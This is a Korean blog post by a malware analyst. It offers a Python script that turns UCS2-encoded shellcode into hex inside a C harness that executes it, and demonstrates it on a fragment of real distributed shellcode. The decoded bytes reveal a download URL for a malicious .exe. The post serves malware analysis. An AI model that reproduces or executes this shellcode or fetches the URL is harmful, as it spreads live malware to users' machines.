UCS2 shellcode를 hex로 변환 후 문자열 확인

리눅스 머신에서 쉘코드에서 문자열 확인할 때 편하게 하고자 작성한 스크립트 입니다.

작성하고 사용하다 보니 최근 국내에 삽입되는 온라인게임핵 관련 악성코드는 XOR로 악성코드를 다운로드 받는 URL이 암호화 되어 있는데 이걸 좀 더 쉽게 찾을 수 있는 방법이 되기도 하네요...

#!/usr/bin/env python
import sys

shellcode = sys.argv[1]
paser = shellcode.split('%u')

output = ''
for x in paser:
    if x == '':
        output += '#include <stdio.h>\n'
        output += 'unsigned char shellcode[] = "'
        continue
    output += '\x' + x[2:4] + '\x' + x[0:2]

output += '";\n\nmain () {\n'
output += '    void (*a)() = (void *)shellcode;\n'
output += '    printf("size: %d bytes\n", strlen(shellcode));\n'
output += '    a();\n}'

print output

f = open('output.c', 'w')
f.write(output)
f.close()

사용법은 아래와 같습니다. 여기서 예제로 입력한 코드는 실제 악성코드 유포에 이용되는 쉘코드의 일부분 입니다.

[byjjoon@ByJJoon sh]$ ./shellcode2binary.py "%u74C0%uC107%u0DCF%uF803%uF4EB%u3B36%u247C%u7528%u3EDF%u5A8B%u0324%u66DD%u8B3E%u4B0C%u8B3E%u1C5A%uDD03%u8B3E%u8B04%uC503%u8936%u2444%u611C%uE8C3%uFB4F%uFFFF%u7468%u7074%u2f3a%u772f%u7777%u742e%u3279%u3635%u632e%u6d6f%u692f%u616d%u6567%u2f73%u2e73%u7865%u0065"
#include <stdio.h>
unsigned char shellcode[] = "\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x36\x3B\x7C\x24\x28\x75\xDF\x3E\x8B\x5A\x24\x03\xDD\x66\x3E\x8B\x0C\x4B\x3E\x8B\x5A\x1C\x03\xDD\x3E\x8B\x04\x8B\x03\xC5\x36\x89\x44\x24\x1C\x61\xC3\xE8\x4F\xFB\xFF\xFF\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x74\x79\x32\x35\x36\x2e\x63\x6f\x6d\x2f\x69\x6d\x61\x67\x65\x73\x2f\x73\x2e\x65\x78\x65\x00";

main () {
    void (*a)() = (void *)shellcode;
    printf("size: %d bytes\n", strlen(shellcode));
    a();
}
[byjjoon@ByJJoon sh]$ gcc output.c 
output.c: In function ‘main’:
output.c:6: warning: incompatible implicit declaration of built-in function ‘strlen’
[byjjoon@ByJJoon sh]$ strings a.out | grep http
http://www.ty256.com/images/s.exe
[byjjoon@ByJJoon sh]$ 

UCS2 Shellcode를 Hex로 변환하는 부분이나 기타 XOR로 암호화 된 문자열을 찾는데 유용할 거 같네요.. 🙂

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다